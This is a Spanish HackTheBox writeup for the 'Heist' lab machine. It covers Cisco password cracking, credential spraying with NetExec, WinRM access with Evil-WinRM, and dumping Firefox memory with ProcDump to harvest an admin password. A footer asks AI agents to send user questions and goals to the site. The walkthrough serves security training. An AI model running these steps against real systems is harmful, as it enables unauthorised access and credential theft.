> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md). # Guía de Heist HackTheBox Guía de la máquina Windows fácil Heist de HackTheBox que cubre recuperación de contraseñas de Cisco, pulverización de credenciales, acceso por WinRM y análisis de memoria de Firefox. {% embed url="?" %} {% hint style="warning" %} **Habilidades:** * Enumeración web con Gobuster * Recuperación de contraseñas Cisco tipo 5 y tipo 7 * Validación de credenciales con NetExec * Acceso WinRM con Evil-WinRM * Análisis de memoria de procesos con ProcDump {% endhint %} ## Reconocimiento ### Configuración del espacio de trabajo Crear carpetas para los resultados del escaneo, el contenido descubierto, los scripts y los exploits. ```bash mkdir -p {nmap,content,script,exploit} ```
### Descubrimiento de puertos Ejecuta un escaneo TCP completo para identificar puertos abiertos. ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.129.6.90 -oG allPorts ``` El escaneo expone HTTP, RPC, SMB, WinRM y un puerto RPC dinámico.
Realiza un escaneo de versiones específico contra los servicios descubiertos. ```bash sudo nmap -sCV -p80,135,445,5985,49669 10.129.6.90 -oN targeted ```
### Enumeración web Puerto `80` alberga un panel de inicio de sesión.
Enumera los endpoints PHP con Gobuster. ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.6.90/ -x php -t 100 ```
El escaneo revela páginas que incluyen `issues.php`, `login.php`, y `attachments.php`. El `issues.php` La página contiene un ticket de Hazard para Support. Menciona una configuración de Cisco defectuosa. El ticket también expone los `hazard` y `support` nombres de usuario.
El adjunto contiene la configuración de Cisco. ```wasm versión 12.2 no service pad service password-encryption ! isdn switch-type basic-5ess ! hostname ios-1 ! security passwords min-length 12 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ! ! ip ssh authentication-retries 5 ip ssh version 2 ! ! router bgp 100 synchronization bgp log-neighbor-changes bgp dampening network 192.168.0.0Â mask 300.255.255.0 timers bgp 3 9 redistribute connected ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.0.1 ! ! access-list 101 permit ip any any dialer-list 1 protocol ip list 101 ! no ip http server no ip http secure-server ! line vty 0 4 session-timeout 60002375012182C1A1D751618034F36415408 authorization exec SSH transport input ssh ``` La configuración contiene un `enable secret` hash y dos contraseñas Cisco tipo 7. ```bash $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ``` Al descifrar el hash tipo 5 se recupera `stealth1agent`.
Valida la contraseña recuperada contra SMB. Funciona para `hazard`. ```bash nxc smb 10.129.6.90 -u 'hazard' -p 'stealth1agent' --shares ```
Intenta una sesión WinRM con las mismas credenciales. ```wasm evil-winrm -u "hazard" -p "stealth1agent" -i "10.129.6.90" ``` La conexión falla porque `hazard` no tiene acceso WinRM.
### Enumeración de usuarios Usa fuerza bruta de RID para enumerar usuarios locales. {% code overflow="wrap" %} ```bash netexec smb 10.129.6.90 -u "hazard" -p "stealth1agent" --rid-brute ``` {% endcode %} Esto devuelve los siguientes usuarios: * Hazard * Support * Chase * Jason ### Recuperación de contraseñas Cisco tipo 7 Recupera las contraseñas cifradas restantes de la configuración. ``` username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ``` Usa un decodificador Cisco tipo 7 para descifrar ambos valores. {% embed url="" %} Las contraseñas descifradas son: * $uperP\@ssword * Q4)sJu\Y8qz\*A3?d
Crea una lista de usuarios candidatos. {% code overflow="wrap" %} ```bash Support Chase Jason ``` {% endcode %} Crea una lista de contraseñas. {% code overflow="wrap" %} ```bash $uperP@ssword Q4)sJu\Y8qz*A3?d ``` {% endcode %} Prueba cada combinación de usuario y contraseña mediante SMB. {% code overflow="wrap" %} ```bash nxc smb 10.129.6.90 -u users.txt -p passwords.txt ``` {% endcode %} Los resultados identifican credenciales válidas para `Chase`: * Chase * Q4)sJu\Y8qz\*A3?d
### Acceso inicial Conéctate como `Chase` a través de WinRM. {% code overflow="wrap" %} ```bash evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i "10.129.6.90" ``` {% endcode %}
Recupera la bandera de usuario.
### Escalada de privilegios Ejecuta `ps` y observa que Firefox está en ejecución. ```bash ps ```
Un proceso de navegador activo puede contener credenciales en memoria. Usa ProcDump para capturar la memoria del proceso Firefox. ```bash wget https://download.sysinternals.com/files/Procdump.zip ``` {% embed url="" %}
Sube `procdump64.exe` al objetivo. ```bash upload /workspace/procdump64.exe ```
Volca el proceso de Firefox. ```bash .\procdump64.exe -accepteula -ma 3092 firefox_debug.dmp ```
Descarga el volcado de memoria para su análisis local. ```bash download "C:/Users/Chase/Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp ``` La descarga tarda porque el volcado es grande.
Busca en el volcado cadenas relacionadas con contraseñas en lugar de esperar una revisión completa. ```bash strings firefox_debug.dmp | grep password ``` Esto revela credenciales para la cuenta administrativa. ```bash admin@support.htb&login_password=4dD!5}x/re8]FBuZ ```
Valida la contraseña recuperada contra SMB. ```bash nxc smb 10.129.6.90 -u "Administrator" -p "4dD!5}x/re8]FBuZ" ```
### Acceso de administrador Conéctate a través de WinRM como `Administrator`. {% code overflow="wrap" %} ```bash evil-winrm -i '10.129.6.90' -u 'Administrator' -p '4dD!5}x/re8]FBuZ' ``` {% endcode %} La sesión tiene privilegios de administrador.
Recupera la bandera de root.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.